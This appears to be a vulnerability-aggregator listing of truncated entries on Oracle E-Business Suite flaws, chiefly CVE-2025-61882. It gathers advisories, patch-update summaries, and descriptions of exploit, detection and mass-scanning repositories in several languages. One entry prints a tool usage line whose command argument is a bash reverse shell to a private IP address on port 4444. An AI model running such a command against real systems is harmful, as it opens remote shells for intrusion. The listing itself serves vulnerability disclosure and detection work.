Oracle E-Business Suite 12.2.3 -12.2.11 - Remote Code Execution

Oracle E-Business Suite 12.2.3 through 12.2.11 is susceptible to remote code execution via the Oracle Web Applications Desktop Integrator product, Upload component. An attacker with HTTP network access can execute malware, obtain sensitive information, modify data, and/or gain full control over a...

Oracle E-Business Suite <=12.2 - Authentication Bypass

Oracle E-Business Suite component: Manage Proxies 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in...

Oracle E-Business Suite 12.1.3/12.2.x - Open Redirect

The Oracle Applications Framework component of Oracle E-Business Suite subcomponent: Popup windows lists of values, datepicker, etc. is impacted by open redirect issues in versions 12.1.3, 12.2.3, 12.2.4, 12.2.5 and 12.2.6. These easily exploitable vulnerabilities allow unauthenticated attackers...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 ПРИМЕЧАНИЕ: Oracle только что раскрыл новую уязвимость CVE-2025-61884, сценарий обнаружения этой уязвимости можно найти в этом репозитории или изначально здесь:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. Как указано в предупреждении Oracle о...

CVE-2025-61882-Oracle-EBS

Oracle E-Business Suite — CVE-2025-61882 이 저장소에는 ZeroZenX의 연구 산출물과 CVE-2025-61882에 대한 완전히 작동하는 익스플로잇 구현이 포함되어 있으며, 승인된 환경에서만 방어 연구, 침해 대응, 탐지 엔지니어링 및 패치 검증을 지원하기 위해 제공됩니다. 중요: 이 코드는 통제된 실험실 환경의 보안 전문가, 명시적 승인을 받은 침투 테스터, 그리고 완화 조치를 검증해야 하는 공급업체/운영자만 사용하도록 고안되었습니다. 소유하지 않은 프로덕션 시스템 또는 시스템에 대한 무단 사...

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882

watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882 Oracle E-Business Suite CVE-2025-61882 탐지 아티팩트 생성기 자세한 기술 내용은 블로그 포스트를 참조하세요. 탐지 동작 root@kitploit: python3 watchTowr-vs-Oracle-E-Business-Suite-CVE-2025-61882.py --command 'bash -i & /dev/tcp/192.168.1.10/4444 0&1' --platform linux --target...

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite 사전 인증 RCE 익스플로잇 Oracle E-Business Suite버전 12.2.312.2.14의 치명적인 사전 인증 원격 코드 실행RCE 취약점으로, 악의적인 HTTP 요청을 통해 공격자가 취약한 서버에 대한 완전한 제어권을 획득할 수 있습니다 — 현재 실제 공격에 활발히 악용되고 있습니다. TL;DR CVE-2025-61882 는 Oracle E-Business SuiteEBS의 치명적인 사전 인증 RCE 취약점으로, 갈취/데이터 탈취 캠페인에서...

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Oracle E-Business SuiteCVE-2025-61882를 탐지합니다. 탐지: 다중 계층 검사 — 핑거프린팅, 버전 확인, 엔드포인트 및 SSRF 테스트, 타이밍 분석 및 통제된 익스플로잇으로 4가지 높은 신뢰도의 결과를 제공합니다. 기본값은 안전한 핑거프린팅만 수행합니다. aggressive=true로 설정하면 능동/프로빙 검사를 활성화하며 주의해서 사용하세요. 제공: BattalionX [email protected]...

Oracle Critical Security Patch Update, September 2026 Review

Oracle released its September edition of Critical Security Patch Update. The update received patches for 673 security vulnerabilities. Some of the vulnerabilities addressed in this update impact more than one product. These patches address vulnerabilities in various product families, including...

vulnerabilities present in Oracle E-Business Suite

Oracle has identified 159 vulnerabilities in various Oracle E-Business Suite products, including Oracle Applications Framework, Oracle Document Management and Collaboration, Oracle Mobile Application Server, Oracle Alert, Oracle Application Object Library, Oracle Applications Manager, Oracle Bill...

Blackash-CVE-2025-61882

🛡️🚨 CVE‑2025‑61882 — Oracle E‑Business Suite EBS의 심각한 사전 인증 원격 코드 실행 취약점 🚨🛡️ 요약: Oracle E‑Business Suite EBS의 심각한 사전 인증 원격 코드 실행 취약점 — 12.2.3 12.2.14 버전에 영향, CVSS 9.8 , 실제 환경에서 활발히 악용됨랜섬/갈취 활동 보고됨. oracle.com1 📌 빠른 사실 표...

Blackash-CVE-2025-61884

CVE-2025-61884 — 新たなOracle E-Business Suiteのバグにより、ログインなしでハッカーがデータにアクセスできる可能性 💀 CVE-2025-61884 — 完全な概要 🧾💥...

CVE-2025-61882-CVE-2025-61884

CVE-2025-61882 & CVE-2025-61884 편집: Oracle이 새로운 취약점 CVE-2025-61884를 공개했습니다. 이 취약점에 대한 탐지 스크립트는 이 저장소에서 찾을 수 있으며, 원본은 여기:https://gist.github.com/rxerium/6c70bc6b72fc0d1365c85937d35d9550. Oracle의 보안 권고에 따르면: 이 보안 경고는 Oracle E-Business Suite의 취약점 CVE-2025-61882를 다룹니다. 이 취약점은 인증 없이 원격으로 악용 가능합니다. 즉,...

CVE-2025-61882

Oracle E-Business Suite RCE 스캐너 CVE-2025-61882 Oracle E-Business Suite 설치 환경에서 CVE-2025-61882를 탐지하는 빠르고 멀티스레드 기반 대량 스캐너입니다. 이 치명적인 취약점은 인증 없이 원격 코드 실행을 허용합니다. 🎯 주요 기능 대량 스캔 - 파일에서 수백 또는 수천 개의 대상 처리 멀티스레드 - 동시 스캔 수 설정 가능 기본값: 20개 스레드 자동 탐지 - id 명령 실행 및 출력 파싱을 통해 RCE 검증 실시간 결과 - 취약한 대상은...

CVE-2026-87265

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...

CVE-2026-87165

Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: ECC For Award and IDV. The supported version that is affected is V16. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromis...

CVE-2026-87169

Vulnerability in the Oracle Contract Lifecycle Management for Public Sector product of Oracle E-Business Suite component: Wage Determination Online. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows unauthenticated attacker with network access via HT...

CVE-2026-87166

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...

CVE-2026-87160

Vulnerability in the Oracle HRMS India product of Oracle E-Business Suite component: Internal Operations. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle HRMS India...

CVE-2026-87163

Vulnerability in the Oracle Purchasing product of Oracle E-Business Suite component: Other issue. Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Purchasing. Successful attac...